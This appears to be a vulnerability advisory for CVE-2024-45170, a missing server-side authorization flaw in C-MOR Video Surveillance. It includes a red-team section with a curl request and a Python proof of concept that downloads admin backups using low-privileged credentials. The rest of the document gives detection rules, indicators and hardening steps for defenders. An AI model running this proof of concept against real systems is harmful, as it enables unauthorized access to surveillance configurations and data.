CVE-2024-45170

Executive Summary

CVE-2024-45170 is a critical missing authorization vulnerability in za-internet C-MOR Video Surveillance version 5.2401. The flaw allows low-privileged users to execute administrative functions by directly sending crafted HTTP requests to the web server, bypassing client-side access controls. This can lead to unauthorized backup downloads, configuration changes, and full system compromise. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept details.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded web application (C-MOR Video Surveillance) and does not involve open-source package dependencies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. The vulnerability is easily exploitable by authenticated low-privileged users, leading to full administrative control.

Deep Dive & Mechanics

The C-MOR Video Surveillance web interface implements role-based access control (RBAC) only on the client side (JavaScript/UI). Server-side endpoints do not validate user privileges. By intercepting and replaying HTTP requests intended for administrative functions, a low-privileged user can:

• Download backup files (e.g., configuration, recordings).
• Change system configuration settings.
• Potentially execute arbitrary commands via exposed administrative APIs.

The root cause is CWE-862: Missing Authorization. The server trusts the client to enforce access restrictions, which is a fundamental security design flaw.

Vulnerable vs. Patched Code

Vulnerable Code (Server-side, pseudocode):

@app.route('/admin/backup')
def download_backup():
    # No privilege check
    return send_file('/var/backups/system_backup.tar.gz')

Patched Code (Server-side, pseudocode):

@app.route('/admin/backup')
@require_admin_role  # Server-side decorator
def download_backup():
    return send_file('/var/backups/system_backup.tar.gz')

The vulnerable version lacks any server-side authorization check. The patched version (not yet available) would enforce role validation on every administrative endpoint.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid low-privileged user credentials (e.g., operator:password).
• Network access to the C-MOR web interface (default port 80/443).

Exploit Steps:

1. Authenticate as a low-privileged user and capture session cookies.
2. Send a direct HTTP request to an administrative endpoint, e.g.:

   curl -X GET "http://target/admin/backup" -b "session=lowprivsession"
   

3. If successful, the backup file will be downloaded without authorization.

Proof-of-Concept (Python):

import requests

target = "http://target"
session = requests.Session()
session.post(f"{target}/login", data={"user": "operator", "pass": "password"})

# Download backup
r = session.get(f"{target}/admin/backup")
if r.status_code == 200:
    with open("backup.tar.gz", "wb") as f:
        f.write(r.content)
    print("[+] Backup downloaded successfully")
else:
    print("[-] Exploit failed")

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP requests to /admin/* endpoints from non-admin users.
• Alert on multiple failed login attempts followed by direct admin endpoint access.

Hardening:

• Implement server-side authorization checks immediately.
• Use Web Application Firewall (WAF) rules to block direct access to admin endpoints from low-privileged sessions.
• Restrict network access to the web interface (e.g., VPN only).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/backup, /admin/config, or similar endpoints from low-privileged user sessions.
  • Unusual outbound data transfers (e.g., large backup files) from the C-MOR server.

• File IOCs:

  • Unexpected backup files (*.tar.gz) in user-accessible directories.
  • Modified configuration files (e.g., /etc/c-mor/config.xml).

• Log IOCs:

  • Web server logs showing GET /admin/backup with a non-admin session cookie.
  • System logs indicating privilege escalation attempts.

Detection Engineering

YARA Rule

rule CVE_2024_45170_Exploit {
    meta:
        description = "Detects HTTP requests targeting C-MOR admin endpoints without proper authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45170"
    strings:
        $admin_path = "/admin/"
        $backup = "backup"
        $config = "config"
    condition:
        any of ($admin_path) and any of ($backup, $config)
}

Sigma Rule

title: C-MOR Admin Endpoint Access by Low-Privileged User
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to C-MOR admin endpoints from non-admin users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45170
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem:
            - "/admin/*"
        cs-username: "operator"  # Example low-privileged user
    condition: selection
falsepositives:
    - Legitimate admin users (should be whitelisted)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45170 - C-MOR Admin Endpoint Access by Low-Privileged User"; flow:to_server; content:"/admin/"; http_uri; content:"backup"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the C-MOR system from untrusted networks (e.g., place behind a VPN).
2. Implement server-side authorization checks on all administrative endpoints (custom patch).
3. Monitor logs for unauthorized access attempts.

Long-term Fix:

• Apply an official patch from za-internet when available.
• Upgrade to a patched version of C-MOR Video Surveillance.
• Conduct a security audit of the entire web application.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block /admin/* paths for non-admin IPs:

  location /admin/ {
      allow 192.168.1.0/24;
      deny all;
  }
  

Valters IT